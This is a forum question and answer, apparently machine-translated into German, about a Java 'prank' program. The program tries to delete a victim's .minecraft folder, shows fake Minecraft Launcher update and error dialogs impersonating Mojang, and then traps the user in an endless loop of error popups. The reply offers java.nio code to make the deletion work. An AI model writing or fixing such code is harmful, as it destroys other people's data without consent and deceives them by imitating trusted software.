Java: Löschen Sie eine Datei, die mit "."

Question

Ich habe endlos danach gesucht und kann nichts finden. Die Datei wird nicht gelöscht. Ich habe versucht, es in nur minecraft umbenennen, aber das wird immer noch nicht funktionieren.

import javax.swing.JOptionPane;

import java.io.File;

public class justaprankbro {

public static void main(String[] args){ 
    int x; 

    File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft"); 

    if(file.isHidden()){ 
     System.out.println("This file is hidden"); 
    }else{ 
     System.out.println("This file is not hidden"); 
    } 


    if(file.delete()){ 
      System.out.println(file.getName() + " is deleted!"); 
    }else{ 
      System.out.println("Delete operation is failed."); 
    } 



    JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(5000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 

    JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(3000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 
    JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 

    for(x = 0; x < 1; x = 0){ 
     JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 
    } 
} 

}

Verwenden der NiO-Paket statt:

import java.nio.file.Files; 
import java.nio.file.Path; 
import java.nio.file.Paths; 

Path p = Paths.get("/tmp/.minecraft"); 

if(!Files.exists(p)){ 
    Files.createFile(p); 
} 
if(Files.exists(p)){ 
    Files.delete(p); 
}
